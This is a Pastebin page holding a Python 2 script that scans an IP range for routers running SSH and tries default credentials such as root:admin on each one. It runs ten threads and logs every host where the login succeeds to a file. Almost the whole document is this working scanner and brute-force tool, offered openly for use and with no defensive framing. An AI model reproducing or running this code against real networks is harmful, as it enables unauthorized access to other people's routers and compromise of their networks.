Advertisement
Sotd

Router.py

May 24th, 2012
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.41 KB | None | 0 0
  1. """
  2. Router.py - Scans for routers running ssh with default user/password
  3.                Written by Sotd - twitter.com/#!/Sotd_
  4. """
  5. #Try root:admin , root:root and such
  6.  
  7. import sys
  8. import threading
  9. import Queue
  10.  
  11. try:
  12.     import paramiko
  13. except ImportError:
  14.     print 'Paramiko is required.'
  15.     print 'http://www.lag.net/paramiko/'
  16.     sys.exit(1)
  17.  
  18.  
  19. class Router(threading.Thread):
  20.     """Handles connection attempts"""
  21.  
  22.     def __init__(self, queue):
  23.         threading.Thread.__init__(self)
  24.         self.user = sys.argv[3]
  25.         self.password = sys.argv[4]    
  26.         self.queue = queue
  27.          
  28.     def run(self):
  29.         """Tries to connect to given Ip on port 22"""
  30.         ssh = paramiko.SSHClient()
  31.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  32.         while True:
  33.             try:
  34.                 ip_add = self.queue.get(False)
  35.  
  36.             except Queue.Empty:
  37.                 break
  38.             try:
  39.                 ssh.connect(ip_add, username = self.user, password = self.password, timeout = 10)
  40.                 ssh.close()
  41.                 print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.password)
  42.                 write = open('Routers.txt', "a+")
  43.                 write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.password))
  44.                 write.close()  
  45.                 self.queue.task_done()
  46.  
  47.             except:
  48.                 print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.password)
  49.                 self.queue.task_done()
  50.        
  51. def iprange():
  52.     """Creates list of Ip's from Start_Ip to End_Ip"""
  53.     queue = Queue.Queue()
  54.     start_ip = sys.argv[1]
  55.     end_ip = sys.argv[2]
  56.     ip_range = []
  57.     start = list(map(int, start_ip.split(".")))
  58.     end = list(map(int, end_ip.split(".")))
  59.     tmp = start
  60.    
  61.     ip_range.append(start_ip)
  62.     while tmp != end:
  63.         start[3] += 1
  64.         for i in (3, 2, 1):
  65.             if tmp[i] == 256:
  66.                 tmp[i] = 0
  67.                 tmp[i-1] += 1
  68.         ip_range.append(".".join(map(str, tmp)))
  69.    
  70.     for add in ip_range:
  71.         queue.put(add)
  72.  
  73.     for i in range(10):
  74.         thread = Router(queue)
  75.         thread.setDaemon(True)
  76.         thread.start()
  77.     queue.join()
  78.  
  79. if __name__ == '__main__':
  80.     if len(sys.argv) != 5:
  81.         print 'Example: ./router.py 127.0.0.1 127.0.0.5 root root'
  82.         sys.exit(1)
  83.     else:
  84.         iprange()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement